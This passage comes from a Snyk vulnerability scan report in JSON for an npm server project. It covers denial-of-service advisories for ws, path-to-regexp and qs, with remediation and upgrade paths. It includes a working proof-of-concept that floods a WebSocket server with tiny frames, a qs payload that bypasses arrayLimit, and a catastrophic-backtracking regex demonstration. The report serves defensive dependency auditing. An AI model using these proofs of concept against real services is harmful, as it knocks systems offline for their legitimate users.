"2026-08-22T14:36:42.031002Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n", "epssDetails": { "percentile": "0.54257", "probability": "0.00812", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48779" ], "CWE": [ "CWE-405", "CWE-770" ], "GHSA": [ "GHSA-96hv-2xvq-fx4p" ] }, "packageName": "ws", "proprietary": false, "creationTime": "2026-06-16T12:21:35.837880Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-15T16:34:23Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-16T12:21:46.990314Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-22T14:36:42.031002Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "ws@8.18.3" ], "upgradePath": [ false, "ws@8.21.0" ], "isUpgradable": true, "isPatchable": false, "name": "ws", "version": "8.18.3" }, { "id": "SNYK-JS-WS-17344547", "title": "Asymmetric Resource Consumption (Amplification)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Nadav Magier" ], "semver": { "vulnerable": [ ">=1.1.0 <5.2.5", ">=6.0.0 <6.2.4", ">=7.0.0 <7.5.11", ">=8.0.0 <8.21.0" ] }, "exploit": "Proof of Concept", "fixedIn": [ "5.2.5", "6.2.4", "7.5.11", "8.21.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "ws", "references": [ { "url": "https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p", "title": "GitHub Advisory" }, { "url": "https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a", "title": "GitHub Commit" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489661", "title": "Red Hat Bugzilla Bug" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-22T14:36:42.031002Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-22T14:36:42.031002Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-24T05:49:41.194423Z" } ], "description": "## Overview\n[ws](https://www.npmjs.com/package/ws) is a simple to use websocket client, server and console for node.js.\n\nAffected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames\r\n\r\n## Workaround \r\nThis vulnerability can be mitigated by lowering the value of the `maxPayload` option.\n## PoC\n```js\r\nimport { WebSocket, WebSocketServer } from 'ws';\r\n\r\nconst wss = new WebSocketServer({ port: 0 }, function () {\r\n const data = Buffer.alloc(1);\r\n const options = { fin: false };\r\n const { port } = wss.address();\r\n const ws = new WebSocket(`ws://localhost:${port}`);\r\n\r\n ws.on('open', function () {\r\n (function send() {\r\n ws.send(data, options, function (err) {\r\n if (err) return;\r\n send();\r\n });\r\n })();\r\n });\r\n\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`client close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n\r\nwss.on('connection', function (ws) {\r\n ws.on('error', console.error);\r\n ws.on('close', function (code, reason) {\r\n console.log(`server close - code: ${code} reason: ${reason.toString()}`);\r\n });\r\n});\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.\n\nUnlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.\n\nOne popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.\n\nWhen it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.\n\nTwo common types of DoS vulnerabilities:\n\n* High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, [commons-fileupload:commons-fileupload](https://security.snyk.io/vuln/SNYK-JAVA-COMMONSFILEUPLOAD-30082).\n\n* Crash - An attacker sending crafted requests that could cause the system to crash. For Example, [npm `ws` package](https://snyk.io/vuln/npm:ws:20171108)\n\n## Remediation\nUpgrade `ws` to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.\n## References\n- [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p)\n- [GitHub Commit](https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2489661)\n", "epssDetails": { "percentile": "0.54257", "probability": "0.00812", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48779" ], "CWE": [ "CWE-405", "CWE-770" ], "GHSA": [ "GHSA-96hv-2xvq-fx4p" ] }, "packageName": "ws", "proprietary": false, "creationTime": "2026-06-16T12:21:35.837880Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-15T16:34:23Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-16T12:21:46.990314Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-22T14:36:42.031002Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "server@1.0.0", "mqtt@5.14.0", "ws@8.18.3" ], "upgradePath": [ false, "mqtt@5.14.0", "ws@8.21.3" ], "isUpgradable": true, "isPatchable": false, "name": "ws", "version": "8.18.3" } ], "ok": false, "dependencyCount": 123, "org": "sean.graham", "policy": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities.\nversion: v1.25.1\nignore: {}\npatch: {}\n", "isPrivate": true, "licensesPolicy": { "severities": {}, "orgLicenseRules": { "AGPL-1.0": { "licenseType": "AGPL-1.0", "severity": "high", "instructions": "" }, "AGPL-3.0": { "licenseType": "AGPL-3.0", "severity": "high", "instructions": "" }, "Artistic-1.0": { "licenseType": "Artistic-1.0", "severity": "medium", "instructions": "" }, "Artistic-2.0": { "licenseType": "Artistic-2.0", "severity": "medium", "instructions": "" }, "CDDL-1.0": { "licenseType": "CDDL-1.0", "severity": "medium", "instructions": "" }, "CPOL-1.02": { "licenseType": "CPOL-1.02", "severity": "high", "instructions": "" }, "EPL-1.0": { "licenseType": "EPL-1.0", "severity": "medium", "instructions": "" }, "GPL-2.0": { "licenseType": "GPL-2.0", "severity": "high", "instructions": "" }, "GPL-3.0": { "licenseType": "GPL-3.0", "severity": "high", "instructions": "" }, "LGPL-2.0": { "licenseType": "LGPL-2.0", "severity": "medium", "instructions": "" }, "LGPL-2.1": { "licenseType": "LGPL-2.1", "severity": "medium", "instructions": "" }, "LGPL-3.0": { "licenseType": "LGPL-3.0", "severity": "medium", "instructions": "" }, "MPL-1.1": { "licenseType": "MPL-1.1", "severity": "medium", "instructions": "" }, "MPL-2.0": { "licenseType": "MPL-2.0", "severity": "medium", "instructions": "" }, "MS-RL": { "licenseType": "MS-RL", "severity": "medium", "instructions": "" }, "SimPL-2.0": { "licenseType": "SimPL-2.0", "severity": "high", "instructions": "" } } }, "packageManager": "npm", "ignoreSettings": { "adminOnly": false, "reasonRequired": false, "disregardFilesystemIgnores": false, "autoApproveIgnores": false, "approvalWorkflowEnabled": false }, "docker": {}, "summary": "7 high or critical severity vulnerable dependency paths", "severityThreshold": "high", "remediation": { "unresolved": [ { "id": "SNYK-JS-PATHTOREGEXP-15789763", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "uug4na" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-14T15:25:14.089930Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-14T15:25:14.089930Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T09:39:01.246847Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in route patterns. An attacker can cause resource exhaustion by supplying input with multiple sequential optional groups, leading to excessive computation and denial of service.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be mitigated by limiting the number of sequential optional groups in route patterns and avoiding user-controlled input as route patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/22a967901afc8b2b42eefe456faa7b6773dcc415)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.51682", "probability": "0.00791", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4926" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:11:43.387356Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:11:43.704120Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-14T15:25:14.089930Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "path-to-regexp", "version": "8.2.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-PATHTOREGEXP-15789765", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "blakeembrey" ], "semver": { "vulnerable": [ ">=8.0.0 <8.4.0" ] }, "exploit": "Not Defined", "fixedIn": [ "8.4.0" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "path-to-regexp", "references": [ { "url": "https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200", "title": "GitHub Commit" }, { "url": "https://cna.openjsf.org/security-advisories.html", "title": "OpenJS Security Advisories" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-08-03T15:25:18.966684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-08-03T15:25:18.966684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-04-03T23:28:56.963350Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when multiple wildcards are used in combination with at least one parameter. An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted input patterns that trigger catastrophic backtracking.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the second wildcard is not positioned at the end of the path.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `path-to-regexp` to version 8.4.0 or higher.\n## References\n- [GitHub Commit](https://github.com/pillarjs/path-to-regexp/commit/48646547da685c1ccb76a95fe23373975a91e200)\n- [OpenJS Security Advisories](https://cna.openjsf.org/security-advisories.html)\n", "epssDetails": { "percentile": "0.26933", "probability": "0.00353", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-4923" ], "CWE": [ "CWE-1333" ] }, "packageName": "path-to-regexp", "proprietary": false, "creationTime": "2026-03-27T08:16:36.880370Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T20:34:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T08:16:37.083062Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-03T15:25:18.966684Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "router@2.2.0", "path-to-regexp@8.2.0" ], "upgradePath": [ false, "express@5.2.0", "router@2.2.0", "path-to-regexp@8.4.2" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "path-to-regexp", "version": "8.2.0", "severityWithCritical": "high" }, { "id": "SNYK-JS-QS-15268416", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "SharokhAtaie" ], "semver": { "vulnerable": [ ">=6.7.0 <6.14.2" ] }, "exploit": "Proof of Concept", "fixedIn": [ "6.14.2" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "qs", "references": [ { "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "cvssV3BaseScore": 5.3, "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-11T14:04:24.168879Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-02-25T01:18:28.970240Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.3, "cvssVersion": "3.1", "modificationTime": "2026-02-13T05:44:36.413749Z" } ], "description": "## Overview\n[qs](https://www.npmjs.com/package/qs) is a querystring parser that supports nesting and arrays, with a depth limit.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `parseArrayValue` function when the `comma` option is in use. An attacker can exhaust system memory by submitting a parameter containing a large number of comma-separated values, resulting in the allocation of excessively large arrays.\r\n\r\n**Note:**\r\nThis is only exploitable if the `comma` option is explicitly set to true. `arrayLimit` is properly enforced for index and bracket notation.\n## PoC\n```js\r\nconst qs = require('qs');\r\n\r\nconst payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\r\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\r\n\r\ntry {\r\n const result = qs.parse(payload, options);\r\n console.log(result.a.length); // Outputs: 26 (bypass successful)\r\n} catch (e) {\r\n console.log('Limit enforced:', e.message); // Not thrown\r\n}\r\n```\n## Remediation\nUpgrade `qs` to version 6.14.2 or higher.\n## References\n- [GitHub Commit](https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482)\n", "epssDetails": { "percentile": "0.41038", "probability": "0.00496", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-2391" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-w7fw-mjwx-w883" ] }, "packageName": "qs", "proprietary": false, "creationTime": "2026-02-12T07:33:26.992101Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-12T05:20:07Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-12T08:09:30.892673Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-11T14:04:24.168879Z", "socialTrendAlert": false, "packagePopularityRank": 99, "from": [ "server@1.0.0", "express@5.2.0", "body-parser@2.2.1", "qs@6.14.1" ], "upgradePath": [ false, "express@5.2.0", "body-parser@2.3.0", "qs@6.16.0" ], "isUpgradable": true, "isPatchable": false, "isPinnable": false, "isRuntime": false, "name": "qs", "version": "6.14.1", "severityWithCritical": "high" } ], "upgrade": { "ws@8.18.3": { "upgradeTo": "ws@8.21.0", "upgrades": [ "ws@8.18.3" ], "vulns": [ "SNYK-JS-WS-17344547" ] } }, "patch": {}, "ignore": {}, "pin": {} }, "filesystemPolicy": false, "filtered": { "ignore": [], "patch": [] }, "uniqueCount": 4, "targetFile": "/usr/src/app/server/package.json", "projectName": "server", "displayTargetFile": "/usr/src/app/server/package.json", "hasUnknownVersions": false, "path": "docker.io/scopear/iot-simulator:1.0.12_a18cd9a.162" }, { "vulnerabilities": [ { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": 